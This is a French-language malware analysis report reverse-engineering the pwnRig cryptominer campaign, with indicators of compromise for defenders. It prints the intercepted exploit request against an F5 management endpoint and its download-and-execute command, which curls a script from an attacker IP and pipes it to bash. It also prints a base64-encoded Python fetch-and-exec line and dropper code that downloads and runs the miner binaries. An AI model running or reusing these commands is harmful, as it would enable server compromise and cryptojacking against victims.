Reverse CryptoMiner pwnRig

Antoine POURCEL - AISI - 05 octobre 2021

Découverte de l'attaque

La requête suivante à été interceptée par un répartiteur de charge placé sur l'infrastructure cliente :

```
POST /mgmt/tm/util/bash HTTP/1.1\r
Host: <redacted>\r
Connection: keep-alive\r
Accept-Encoding: gzip, deflate\r
Accept: */*\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\r
Content-Type: application/json\r
Authorization: Basic YWRtaW46QVNhc1M\=\r
X-F5-Auth-Token: \r
Content-Length: 353\r\n\r


{"utilCmdArgs": "-c '(curl -s hxxp://209.141.40.190/xms || wget -q -O -
hxxp://209.141.40.190/xms || lwp-download hxxp://209.141.40.190/xms
/tmp/xms) | bash -sh; bash /tmp/xms; rm -rf /tmp/xms; echo
cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8yMDk
uMTQxLjQwLjE5MC9kLnB5IikucmVhZCgpKSc\= | base64 -d | bash -'", "command":
"run"}#015
```

On y remarque une instruction destinée à être executée par un ordinateur cible. Il y est demandé le téléchargement d'un fichier `xms` par de multiples moyens, puis son execution et enfin sa suppression. Une chaine de caractère encodée est également envoyé pour y être décodée et exécutée par la machine ciblé.

Fichier XMS

Nous téléchargeons le fichier en contactant l'URL spécifiée dans la requête via une proxychains configurée pour passer par le réseau Tor. Les caractéristiques du fichier sont les suivantes :

Nom	***Taille***	***MD5***	***SHA1***
xms	12K	7e1ae8c6705ab8de4ed7cf36701a18c6	800c962a8d57669cd27d68b4205a997c2d86b7c6

Le fichier est un script Bash dont les opérations sont les suivantes :

- Suppression ou désactivation de miner possiblement déjà utilisés :
    - Commence par libérer des ports possiblement ouverts.Les ports concernés sont les ports suivants :
        - 3333
        - 4444
        - 5555
        - 7777
        - 14444
        - 5790
        - 45700
        - 2222
        - 9999
        - 20580
        - 13531
        - La libération de ces ports se fait via l'intermédiare d'une commande `netstat` suivie d'une commade `kill` sur les processus retenus.
    - Avec le même procédé, les processus contactent les IP suivantes sont coupés :
        - 23.94.24.12:8080
        - 134.122.17.13:8080
        - 107.189.11.170:443
    - Si un service nommé '[a]liyun' est en cours d'éxecution, il le coupe et le désinstalle grace à des scripts de désinstallation téléchargés
    - De même pour le service '[y]unjing'
    - Dans le cas à les dossiers `/var/spool/cron/crontabs` et `/etc/cron.hourly` n'existeraient pas, ils sont crées.
    - Supression d'un fichier `/usr/local/lib/libkk.so` si un fichier `/tmp/dbused` existe et ne correspond pas à l'un de deux condensats MD5 écrit dans le code.
    - Suppression du contenu d'un fichier `/etc/ld.so.preload`
    - fermeture de deux processus `wc.conf` et `susss`
- Utilisation de la commande `ifconfig` et récupération des adresse broadcast disponibles. Si `ifconfig` n'est pas présent, la même démarche est faite avec la commande `ip a`
- attribution d'une variable avec le nom de domaine où l'ip d'où provient le téléchargement de ce fichier xml. L'IP est toujours 209.141.40.190 et le nom de domaine, bash.givemexyz.in.
- Téléchargement du fichier XML et enregistrement de ce dernier à 6 endroits différents :
    - `/etc/cron.d/root`
    - `/etc/cron.d/apache`
    - `/etc/cron.d/nginx`
    - `/var/spool/cron/root`
    - `/var/spool/cron/crontabs/root`
    - `/etc/cron.hourly/oanacroner1`
    - Des tâches planifiées sont crées pour procéder à l'execution et la persistence de ces fichiers.
- Lecture des fichiers de configuration disponibles afin d'établir une connexion SSH avec d'autres machines et faire se répandre le maliciel .

Chaîne python

Nous procédons tout d'abord au décodage de la chaine de caractère récupérée :

```
$ ipython3
Python 3.8.10 (default, Jun  2 2021, 10:49:15)
Type 'copyright', 'credits' or 'license' for more information
IPython 7.13.0 -- An enhanced Interactive Python. Type '?' for help.

In [1]: import base64

In [2]:
str='cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA
   ...: 6Ly8yMDkuMTQxLjQwLjE5MC9kLnB5IikucmVhZCgpKSc\='

In [3]: base64.b64decode(str)
Out[3]: b'python -c \'import
urllib;exec(urllib.urlopen("http://209.141.40.190/d.py").read())\''
```

On découvre donc qu'un autre fichier est également téléchargé depuis la même adresse IP. Nous le téléchargeons de la même manière que le fichier `xms`. Nous obtenons un fichier avec ces caractéristiques :

Nom	***Taille***	***MD5***	***SHA1***
d.py	1.6K	f48605b08f80ecb8987ef9f04de3c610	61d3a4d68f9f52611f7770eaa7e7ac744feb7019

Ce fichier python procède au téléchargement de 2 fichiers différents. Ces fichiers sont séléctionné selon l'architecture processeur de l'ordinateur cible. Dans le cas d'une architecture x86_64 :

Fichier	***Taille***	***MD5***	***Chemin***
dbused	2,5M	dc3d2e17df6cef8df41ce8b0eba99291	/tmp/dbused
bashirc.x86_64	185K	9e935bedb7801200b407febdb793951e	/tmp/bashirc.x86_64

Et dans le cas d'une architecture i686 :

Fichier	***Taille***	***MD5***	***Chemin***
dbused	2,6M	101ce170dafe1d352680ce0934bfb37e	/tmp/dbused
bashirc.xi686	175K	b2755fc18ae77bc86322409e82a02753	/tmp/bashirc.i686

Dans les deux cas, ces fichiers se voient être attribués des droits en lecture, écriture et execution pour tous les utilisateurs, sont éxecutés, d'abord le dbused, puis le bashirc, avant d'être supprimés dans le même ordre.

```
if platform.architecture()[0] == "64bit":
  urlx64 = "http://209.141.40.190/x86_64"
  bx64 = "http://209.141.40.190/bashirc.x86_64"
  try:
    f = urllib.urlopen(urlx64)
    if f.code == 200:
        data = f.read()
```

```
        with open ("/tmp/dbused", "wb") as code:
            code.write(data)
    xx = urllib.urlopen(bx64)
    if xx.code == 200:
        data = xx.read()
        with open ("/tmp/bashirc.x86_64", "wb") as code:
            code.write(data)
    os.chmod("/tmp/dbused", 0o777)
    os.chmod("/tmp/bashirc.x86_64", 0o777)
    os.system("/tmp/dbused -pwn")
    os.system("/tmp/dbused -c " + output)
    os.system("/tmp/bashirc.x86_64")
    os.system("rm -rf /tmp/dbused")
    os.system("rm -rf /tmp/bashirc.x86_64")
  except:
    pass
```

Fichier dbused

Nous commençons par savoir de quel type de fichier est `dbused` :

```
$ file dbused
dbused: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), statically
linked, no section header
```

Il s'agit donc d'un fichier executable à destination d'ordinateur Linux. Le recherche de chaînes de caractère en clair nous apprends qu'il est compressé avec l'utilitaire UPX :

```
$ strings dbused -n 20 | grep UPX
$Info: This file is packed with the UPX executable packer http://upx.sf.net
$
$Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $
```

Nous le décompressons pour continuer à chercher des chaines de caractères en clair :

```
$ upx -d dbused
```

Une analyse des chaines de caractères avec Cutter nous permet d'avoir la page d'aide du programme présent dans `dbused` :

```
Usage: pwnrig [OPTIONS]\n\nNetwork:\n
  -o, --url=URL                 URL of mining server\n
  -a, --algo=ALGO               mining algorithm
https://xmrig.com/docs/algorithms\n
      --coin=COIN               specify coin instead of algorithm\n
```

```
  -u, --user=USERNAME           username for mining server\n
  -p, --pass=PASSWORD           password for mining server\n
  -O, --userpass=U:P            username:password pair for mining server\n
  -k, --keepalive               send keepalived packet for prevent timeout
(needs pool support)\n
      --nicehash                enable nicehash.com support\n
      --rig-id=ID               rig identifier for pool-side statistics
(needs pool support)\n
      --tls                     enable SSL/TLS support (needs pool
support)\n
      --tls-fingerprint=HEX     pool TLS certificate fingerprint for strict
certificate pinning\n
      --daemon                  use daemon RPC instead of pool for solo
mining\n
      --daemon-poll-interval=N  daemon poll interval in milliseconds
(default: 1000)\n
      --self-select=URL         self-select block templates from URL\n
  -r, --retries=N               number of times to retry before switch to
backup server (default: 5)\n
  -R, --retry-pause=N           time to pause between retries (default:
5)\n
      --user-agent              set custom user-agent string for pool\n
      --donate-level=N          donate level, default 5%% (5 minutes in 100
minutes)\n
      --donate-over-proxy=N     control donate over xmrig-proxy feature\n
      --no-cpu                  disable CPU mining backend\n
  -t, --threads=N               number of CPU threads\n
  -v, --av=N                    algorithm variation, 0 auto select\n
      --cpu-affinity            set process affinity to CPU core(s), mask
0x3 for cores 0 and 1\n
      --cpu-priority            set process priority (0 idle, 2 normal to 5
highest)\n
      --cpu-max-threads-hint=N  maximum CPU threads count (in percentage)
hint for autoconfig\n
      --cpu-memory-pool=N       number of 2 MB pages for persistent memory
pool, -1 (auto), 0 (disable)\n
      --cpu-no-yield            prefer maximum hashrate rather than system
response/stability\n
      --no-huge-pages           disable huge pages support\n
      --asm=ASM                 ASM optimizations, possible values: auto,
none, intel, ryzen, bulldozer\n
      --randomx-init=N          threads count to initialize RandomX
dataset\n
      --randomx-no-numa         disable NUMA support for RandomX\n
      --randomx-mode=MODE       RandomX mode: auto, fast, light\n
      --randomx-1gb-pages       use 1GB hugepages for dataset (Linux
only)\n
      --randomx-wrmsr=N         write custom value (0-15) to Intel MSR
register 0x1a4 or disable MSR mod (-1)\n
      --randomx-no-rdmsr        disable reverting initial MSR values on
exit\n
      --api-worker-id=ID        custom worker-id for API\n
      --api-id=ID               custom instance ID for API\n
      --http-host=HOST          bind host for HTTP API (default:
```

```
127.0.0.1)\n
      --http-port=N             bind port for HTTP API\n
      --http-access-token=T     access token for HTTP API\n
      --http-no-restricted      enable full remote access to HTTP API (only
if access token set)\n
      --opencl                  enable OpenCL mining backend\n
      --opencl-devices=N        comma separated list of OpenCL devices to
use\n
      --opencl-platform=N       OpenCL platform index or name\n
      --opencl-loader=PATH      path to OpenCL-ICD-Loader (OpenCL.dll or
libOpenCL.so)\n
      --opencl-no-cache         disable OpenCL cache\n
      --print-platforms         print available OpenCL platforms and exit\n
      --cuda                    enable CUDA mining backend\n
      --cuda-loader=PATH        path to CUDA plugin (xmrig-cuda.dll or
libxmrig-cuda.so)\n
      --cuda-devices=N          comma separated list of CUDA devices to
use\n
      --cuda-bfactor-hint=N     bfactor hint for autoconfig (0-12)\n
      --cuda-bsleep-hint=N      bsleep hint for autoconfig\n
      --no-nvml                 disable NVML (NVIDIA Management Library)
support\n
  -S, --syslog                  use system log for output messages\n
  -l, --log-file=FILE           log all output to a file\n
      --print-time=N            print hashrate report every N seconds\n
      --health-print-time=N     print health report every N seconds\n
      --no-color                disable colored output\n
      --verbose                 verbose output\n
  -c, --config=FILE             load a JSON-format configuration file\n
  -B, --background              run the miner in the background\n
  -V, --version                 output version information and exit\n
  -h, --help                    display this help and exit\n
      --dry-run                 test configuration and exit\n
      --export-topology         export hwloc topology to a XML file and
exit\n
pwnRig (by pwned)\n built on Apr 17 2020 with GCC
```

On connait donc le maliciel utilisé, nommé pwnRig. Une rapide recherche sur internet nous permet de trouver l'article d'un reverse précédamment rédigé et décrivant le fonctionnement de ce malware[1]. Il s'agit d'un cryptomineur chargé d'utiliser la puissance de calcul d'un ordinateur victime afin de miner (ou créer) des cryptoactifs qui seront envoyés aux gestionnaire de ce maliciel. On y apprend également que le fichier téléchargé bashirc.x86_64 est une souche d'un autre maliciel nommé Tsunami qui est chargé de fournir des fichiers de configurations à pwnRig en passant par des canaux IRC. Une capture de la mémoire vive à permis à l'équipe de Lacework d'obtenir l'adresse du portefeuille vers lequel est envoyé les cryptoactifs minés et ce pour plusieurs souches de pwnRig différentes. Malheuresement, la souche à laquelle nous avons affaire (Apr 17 2020) ne fait pas partie des souches analysées. Nous allons donc utiliser la même méthodologie que celle employée par Lacework afin d'obtenir cette information.

Nous allons utiliser un programme python d'extraction de mémoire trouvé sur internet[2]. Nous nous contentons d'observer les chaînes de caractères présentes pour reconnaitre l'une des adresses de portefeuille de cryptoactifs déjà trouvé par Lancework :

```
$ strings -n 20 4158.dump
[10.0.2.15:22][ultrwrs][kali][1][i7-10510U]
46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf
5ZRb4qJzFXLVHGYH4moQ
```

Indices de compromission

- IP et URL contactés :
  - hxxp://bash.givemexyz.in
  - c4k-rx0.pwndns.pw
  - 209.141.40.190
- Fichiers téléchargés :

Fichier	***Taille***	***MD5***	***Chemin***
xms	12K	7e1ae8c6705ab8de4ed7cf36701a18c6	N/A
d.py	1.6K	f48605b08f80ecb8987ef9f04de3c610	N/A
dbused	2,6M	101ce170dafe1d352680ce0934bfb37e	/tmp/dbused
bashirc.xi686	175K	b2755fc18ae77bc86322409e82a02753	/tmp/bashirc.i686
dbused	2,5M	dc3d2e17df6cef8df41ce8b0eba99291	/tmp/dbused
bashirc.x86_64	185K	9e935bedb7801200b407febdb793951e	/tmp/bashirc.x86_64

Références

- 1 : https://www.lacework.com/blog/8220-gangs-recent-use-of-custom-miner-and-botnet/
- 2 : https://davidebove.com/blog/2021/03/27/how-to-dump-process-memory-in-linux/